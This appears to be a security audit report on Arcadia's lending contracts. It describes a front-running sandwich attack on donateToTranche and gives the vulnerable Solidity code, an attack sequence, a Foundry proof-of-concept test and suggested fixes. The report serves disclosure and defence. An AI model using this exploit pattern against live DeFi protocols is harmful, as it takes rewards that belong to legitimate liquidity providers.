Little Gingerbread Kestrel

high

# LendingPool.sol#donateToTranche is vulnerable to reward hunting attacks through front-running

## Summary

In `deposit/mint` and `withdraw/redeem` of `Tranche.sol`, there are no cooling-down periods and fees, so users can deposit or withdraw assets at any time. And `donateToTranche` in `LendingPool.sol` will cause a step change in `realisedLiquidityOf[tranche]`. Attackers could frontrun `donateToTranche` to deposit and then immediately withdraw, this will result in the attackers getting rewards without any effort.

## Vulnerability Detail

The `donateToTranche` function is supposed to serve as a way to compensate the jrTranche after an auction didn't get sold and was manually liquidated after cutoffTime, and it can be used by anyone to donate assets to the Lending Pool.
The specific code is as follows.

```solidity
function donateToTranche(uint256 trancheIndex, uint256 assets) external whenDepositNotPaused processInterests {
    if (assets == 0) revert LendingPoolErrors.ZeroAmount();

    address tranche = tranches[trancheIndex];

    // Need to transfer before donating or ERC777s could reenter.
    // Address(this) is trusted -> no risk on re-entrancy attack after transfer.
    asset.safeTransferFrom(msg.sender, address(this), assets);

    unchecked {
@>      realisedLiquidityOf[tranche] += assets; //[̲̅$̲̅(̲̅ ͡° ͜ʖ ͡°̲̅)̲̅$̲̅]
        totalRealisedLiquidity = SafeCastLib.safeCastTo128(assets + totalRealisedLiquidity);
    }
}
```

`realisedLiquidityOf[tranche] += assets` will cause the liquidity recorded of `tranche` to increase.

```solidity
function liquidityOfAndSync(address owner_) external returns (uint256 assets) {
    _syncInterests();
@>  assets = realisedLiquidityOf[owner_];
}
```

```solidity
function totalAssetsAndSync() public returns (uint256 assets) {
@>  assets = LENDING_POOL.liquidityOfAndSync(address(this));
}
```

Observe the above code, the previously added `realisedLiquidityOf[tranche]` will be used to calculate total assets in `Tranche.sol`.
So before `donateToTranche`, the attacker can deposit/mint, and after it, the attacker withdraw/redeem. In other words, the step changes of `realisedLiquidityOf[tranche]` will lead to front-running or sandwich attacks.

## Impact

The attacker steals rewards that do not belong to him through this attack(deposit and then immediately withdraw) because he never provided usable assets to `LendingPool.sol`.
We can consider the following normal scenarios:

1. An auction didn't get sold and was manually liquidated after cutoffTime
2. The attacker deposit some assets to the target tranache
3. `donateToTranche` is called to compensate the target tranche
4. The attacker withdraw all his assets, and this is more than he deposited

The following code simply demonstrates this scenario, just add the `test_Deposit_Donate_Withdraw` function to `Deposit.fuzz.t.sol` and run it.

```solidity
function test_Deposit_Donate_Withdraw() public {
    // Prepare
    vm.prank(users.liquidityProvider);
    asset.burn(type(uint256).max / 2);
    vm.prank(users.tokenCreatorAddress);
    asset.mint(users.swapper, type(uint256).max / 2) ;
    vm.prank(users.swapper);
    asset.approve(address(pool), type(uint256).max / 2);
    // Imitate that the tranche already minted some shares
    vm.prank(users.swapper);
    tranche.deposit(1000 ether, users.swapper);

    // POC start: Alice wants to launch a Sandwich Attack
    // Before donate, alice deposits
    uint256 assetsInput = 10 ether;
    vm.prank(users.liquidityProvider);
    tranche.deposit(assetsInput, users.liquidityProvider);
    // Someone donates some assets
    vm.prank(users.swapper);
    pool.donateToTranche(0, 10 ether);
    // After donate, alice withdraws
    vm.prank(users.liquidityProvider);
    assertGt(tranche.maxWithdraw(users.liquidityProvider), assetsInput);
}
```

## Code Snippet

https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/Tranche.sol#L156-L261
https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/LendingPool.sol#L350-L361

## Tool used

Manual Review

## Recommendation

1. Stepwise increase that affects rewards is an unreasonable model and should be avoided as much as possible.
2. Adding cooling-down periods and fees to prevent reward hunting.